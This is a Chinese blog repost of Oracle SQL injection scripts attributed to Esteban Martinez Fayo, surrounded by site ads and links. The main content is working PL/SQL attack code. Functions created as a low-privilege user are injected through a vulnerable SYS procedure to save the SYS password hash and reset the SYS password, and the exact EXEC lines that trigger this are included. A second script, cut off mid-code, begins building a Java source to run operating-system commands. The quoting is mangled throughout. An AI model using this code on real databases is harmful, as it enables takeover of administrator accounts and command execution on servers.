Oracle 数据库注入技能
起原:psyl的 Blog 作者:psyl的 Blog
">
/* Advanced SQL Injection in Oracle databases Becoming the SYS user with SQL Injection. This script creates functions that can be injected to replace the password of the SYS user and to restore it to the original value. By Esteban Martinez Fayo secemf@gmail.com */ ------------ -- Execute this as a low privilege user ------------ --This table is optional if you don''''t want to save the old SYS password CREATE TABLE "SCOTT"."PSW_DATA" ("USERNAME" VARCHAR2(32 byte) NOT NULL, "PSW_HASH" VARCHAR2(30 byte) NOT NULL); CREATE OR REPLACE FUNCTION "SCOTT"."SQLI_CHANGEPSW" return varchar2 authid current_user as pragma autonomous_transaction; ROW_COUNT NUMERIC; PSW VARCHAR2(30); BEGIN EXECUTE IMMEDIATE ''''SELECT COUNT(*) FROM SCOTT.PSW_DATA'''' INTO ROW_COUNT; IF (ROW_COUNT <= 0) THEN EXECUTE IMMEDIATE ''''INSERT INTO SCOTT.PSW_DATA select username, password from dba_users where username=''''''''SYS''''''''''''; EXECUTE IMMEDIATE ''''ALTER USER SYS IDENTIFIED BY newpsw''''; END IF; COMMIT; RETURN ''''''''; END; / CREATE OR REPLACE FUNCTION "SCOTT"."SQLI_RESTOREPSW" return varchar2 authid current_user as pragma autonomous_transaction; PSW_HASH VARCHAR2(30); BEGIN EXECUTE IMMEDIATE ''''SELECT PSW_HASH FROM SCOTT.PSW_DATA WHERE USERNAME = ''''''''SYS'''''''''''' INTO PSW_HASH; EXECUTE IMMEDIATE ''''ALTER USER SYS IDENTIFIED BY VALUES '''''''''''' || PSW_HASH || ''''''''''''''''; EXECUTE IMMEDIATE ''''DELETE FROM SCOTT.PSW_DATA where username=''''''''SYS''''''''''''; COMMIT; RETURN ''''''''; END; / -- SYS.SQLIVULN is a procedure vulnerable to SQL Injection. The vulnerability exists -- in a single PL/SQL statement (not in an anonymous PL/SQL block). -- See file SQLInjectionLimitation.sql -- To change the SYS password execute: EXEC SYS.SQLIVULN(''''MANAGER''''''''||SCOTT.SQLI_CHANGEPSW()||''''''''''''); -- To restore the SYS password execute: EXEC SYS.SQLIVULN(''''MANAGER''''''''||SCOTT.SQLI_RESTOREPSW()||''''''''''''); -------------------------------------------------------------------------------------------------------- /* Advanced SQL Injection in Oracle databases Executing OS Command with SQL Injection By Esteban Martinez Fayo secemf@gmail.com */ CREATE OR REPLACE FUNCTION "SCOTT"."SQLI" return varchar2 authid current_user as pragma autonomous_transaction; SqlCommand VARCHAR2(2048); BEGIN SqlCommand := '''' CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "SRC_EXECUTEOS" AS import java.lang.*; import java.io.*; public >
版权声明: 原创作品,批准转载,转载时请务必以超链接动作标明文章 原始情由 、作者信息和本声明。不然将追查法令责任。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 为什么说在企业级应用开发中,后端往往是效率杀手?
· 用 C# 插值字符串处理器写一个 sscanf
· Java 中堆内存和栈内存上的数据分布和特点
· 开发中对象命名的一点思考
· .NET Core内存结构体系(Windows环境)底层原理浅谈
· 为什么说在企业级应用开发中,后端往往是效率杀手?
· DeepSeek 解答了困扰我五年的技术问题。时代确实变了!
· 本地部署DeepSeek后,没有好看的交互界面怎么行!
· 趁着过年的时候手搓了一个低代码框架
· 推荐一个DeepSeek 大模型的免费 API 项目!兼容OpenAI接口!